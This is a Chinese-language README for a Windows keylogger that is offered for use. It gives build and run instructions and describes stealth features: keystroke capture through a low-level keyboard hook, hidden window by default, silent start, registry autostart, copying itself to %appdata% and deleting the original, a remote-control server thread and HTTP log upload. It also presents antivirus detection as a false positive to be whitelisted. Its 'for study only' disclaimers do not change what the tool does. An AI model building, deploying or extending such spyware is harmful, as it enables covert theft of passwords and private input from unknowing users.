注意:本工具仅供学习研究使用,请勿用于非法用途
基于 GiacomoLaw/Keylogger 的 Windows 专属版本,不支持 Linux/Mac。
- 键盘记录:记录所有键盘输入,包括特殊按键
- 快捷键控制:支持多种快捷键进行功能控制
- 开机自启:可设置/取消开机自动启动
- 静默模式:支持静默启动,不显示任何提示
- 自我复制:自动复制到
%appdata%\Keylogger目录运行 - 服务器控制:支持通过网络远程控制程序功能
- 操作系统:Windows 7/8/10/11
- 架构:x86/x64
- 编译器:Visual Studio 2019 或更高版本
- 依赖:libcurl、nlohmann/json
- 打开
Keylogger.sln解决方案文件 - 确保已安装 vcpkg 并配置好以下依赖:
vcpkg install curl vcpkg install nlohmann-json
- 选择 Release/x64 配置
- 点击"生成" → "生成解决方案"
| 宏定义 | 说明 | 可选值 |
|---|---|---|
invisible / visible |
控制程序窗口是否可见 | invisible (默认隐藏) |
bootwait / nowait |
系统启动时是否等待 | bootwait (默认等待) |
FORMAT |
日志输出格式 | 0=可读格式, 10=十进制, 16=十六进制 |
mouseignore |
是否忽略鼠标点击 | 定义即忽略 |
直接运行编译生成的可执行文件:
Keylogger.exe首次运行时会:
- 自动复制自身到
%appdata%\Keylogger目录 - 在原位置创建快捷方式
- 从目标位置重新启动
| 快捷键 | 功能 | 说明 |
|---|---|---|
Ctrl + Shift + Alt + P |
开始/暂停录制 | 切换录制状态 |
Ctrl + Shift + Alt + Q |
安全退出 | 保存日志并退出程序 |
Ctrl + Shift + Alt + S |
设置/取消开机自启 | 写入注册表,需管理员权限 |
Ctrl + Shift + Alt + D |
设置/取消静默启动 | 静默启动时不显示提示窗口 |
提示:开机自启和静默启动状态会被保存到注册表,重启后依然生效。
- 存储位置:
%appdata%\Keylogger\ - 文件名格式:
<用户名>_<YYYY-MM-DD_HH-MM-SS>.log- 示例:
user_2026-04-17_12-34-56.log
- 示例:
- 日志内容:记录所有键盘输入,包括特殊按键
程序启动时会自动执行以下操作:
- 检查当前运行位置
- 如果不在
%appdata%\Keylogger目录,则:- 复制自身到目标目录
- 在原位置创建快捷方式
- 启动目标位置的副本
- 删除原始文件
本程序使用 Windows 低级键盘钩子 (WH_KEYBOARD_LL) 实现全局键盘监控:
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);钩子回调函数处理所有键盘事件,包括:
- 按键按下/释放
- 特殊按键(Shift、Ctrl、Alt 等)
- 快捷键组合检测
程序启动时会检查当前运行位置,如果不在 %appdata%\Keylogger 目录,则会自动复制自身到该目录并从新位置启动。
程序启动时会启动一个服务器控制线程,用于接收和处理远程命令。
注意:可能触发杀毒软件误报(因使用键盘钩子技术)
在 Windows 系统中,hook 与消息传递密切相关,用于监控和处理系统消息。键盘钩子(keyboard hook)和鼠标钩子(mouse hook)可以拦截用户输入,用于实现全局快捷键或系统级监控。在某些恶意软件(如 rootkit)中,hook 被用来隐藏恶意行为或窃取敏感信息。
- 仅供学习研究:请勿在未经授权的计算机上使用
- 添加白名单:如被误报,可将程序添加到杀毒软件白名单
- 不信任请勿使用:本程序涉及系统级钩子,请确保来源可信
keylogger/
├── Keylogger/
│ ├── Keylogger/
│ │ ├── Keylogger.cpp # 主程序源代码
│ │ └── Keylogger.vcxproj.filters # 项目筛选器
│ ├── Keylogger.sln # Visual Studio 解决方案
│ ├── .gitignore # Git 忽略文件
│ ├── .gitattributes # Git 属性配置
│ ├── README.md # 项目说明
│ ├── API 文档.md # API 文档
│ ├── 服务器端功能文档.md # 服务器端功能文档
│ ├── test_server.py # 测试服务器
│ └── LogUploader.h # 日志上传类头文件
| 库名 | 用途 | 版本 |
|---|---|---|
| libcurl | HTTP 请求/文件上传 | 最新版 |
| nlohmann/json | JSON 解析 | 最新版 |
Yuebi
本项目仅供学习研究使用,请遵守当地法律法规。
请合法使用本工具